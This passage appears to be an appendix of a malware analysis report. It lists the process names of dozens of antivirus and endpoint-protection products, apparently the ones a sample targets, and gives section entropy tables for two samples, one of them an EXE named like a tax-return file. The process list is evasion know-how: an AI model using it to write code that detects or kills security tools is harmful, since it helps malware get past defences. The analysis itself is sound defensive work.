  • Windows Defender (MSMPENG, MSSENSE, SENSEIR, MPDEFENDERCORESERVICE, NISSRV, MPCMDRUN, SECURITYHEALTHSYSTRAY, SECURITYHEALTHSERVICE, SMARTSCREEN, WINDEFEND), CrowdStrike (CSFALCONSERVICE, CSFALCONCONTAINER, CSSHELL, CSAGENT, CSDEVICECONTROL, CSFALCONVSSSERVICE, CSFALCONSENSORREPORTERTOOL, CSSETUPWIZARD), SentinelOne (SENTINELAGENT, SENTINELSERVICEHOST, SENTINELSTATICENGINE, SENTINELHELPERSERVICE, SENTINELUI, SENTINELMEMORYSCANNER, LOGPROCESSORSERVICE, SENTINELAGENTWORKER), Cylance (CYLANCESVC, CYLANCEUI, CYOPTICS, CYELMCERTS, CYUPDATE, CYPROTECTSVC), Sophos (SAVSERVICE, SOPHOSFS, SOPHOSHEALTH, ALSVC, SAVADMINSERVICE, SOPHOSCLEANM, MCSCLIENT, MCSAGENT, SOPHOSUI), McAfee/Trellix (MFEAVSVC, MFEVTPS, MC-NEO-HOST, MFEFIRE, MFETP, MCSHIELD, MACMNSVC, MCAFEEFRAMEWORKSERVICE), Symantec/Norton (CCSVCHST, RTVSCAN, SMCGUI, NORTONSECURITY, N360, SEPMASTERSERVICE, SYMCORPUI, SMCSERVICE), Trend Micro (NTRTSCAN, TMLISTEN, TMCCSF, PCCNTMON, CORESERVICESHELL, TMBMSRV, TMUMH), Kaspersky (AVPUI, KLNAGENT, AVP, KAVFS, KLNAGENTSRV, KAVFSSLP), Bitdefender (BDAGENT, BDSSVC, EPSECURITYSERVICE, EPINTEGRATIONSERVICE, VSSERV, UPDATESRV), ESET (EGUIPROXY, EMLPROXY, EKRN, EGUI, EHTTPSRV), Avast/AVG (AVASTSVC, ASWENGSRV, AVGSVC, AVASTUI, ASWIDSAGENT, AVGIDSAGENT), Avira (AVGUARD, AVSHADOW, AVIRASERVICE, AVWEBGRD), F-Secure/WithSecure (FSAV32, FSHOSTER32, FSMA32, FSORSP), Malwarebytes (MBAMSERVICE, MBAM, MBAMTRAY, MBCLOUDEA, MWAC), Fortinet (FORTICLIENT, FCDBLOG, FORTIESNAC, FORTIPROXY, FORTIEDR), Palo Alto Cortex (CYVERASERVICE, CYSERVER, CYVRFSFLT, CYUPDATE, TRAPSSVC), CyberArk (EPMAGENT, VFAGENT, CAEPMSVC), Heimdal (HEIMDALAGENT, HEIMDALVPNSERVICE, HEIMDALTHOR), HitmanPro (HMPALERT, HMPSCHED, HITMANPRO)

  • Quick Heal (QHPISVR, QUHLPSVC, QHCCMSVC)

  • K7 Total Security (K7RTSCAN, K7TSMAIN, K7FWSRVC, K7EMLPXY, K7CRVSVC, K7PSSRVC, K7SYSMON, K7AVSCAN, K7TSECURITY, K7FWWIZARD, K7SCANE, K7AVUPDATE, K7RUNONCE, K7SENTRY), AhnLab V3 (V3LSP, AYAGENT, ASDSVC, V3SVC), ALYac (ALYACSVC, ALYACTRAY), ClamAV (CLAMD, FRESHCLAM), Acronis (MMS, AFCDPSRV, ACRONISACTIVEPROTECTIONSERVICE, ARCHIVE64), Panda (PSKMAD, PSANHOST, PAVFNSVR), Webroot (WRSA, WRSKYCLIENT, WRCORESERVICE).

8.2 Section/resource entropy tables

arphADump.dll — overall entropy 6.82

Section  Raw size   Virtual size  Entropy
.ARP0    1,143,296  1,143,120     7.38
.reloc   141,824    141,352       6.57
.text    1,579,520  1,579,290     6.56
.rsrc    1,292,800  1,292,292     5.46
.rdata   357,888    357,560       5.32
.data    27,648     61,708        4.69

I.T.R.Number-20260825114014.EXE — overall entropy 6.70

Section  Raw size  Virtual size  Entropy
.text    120,320   120,052       6.60
.reloc   7,168     7,032         6.55
.rdata   37,888    37,754        5.08
.rsrc    11,776    11,736        3.66
.data    3,584     6,764         3.38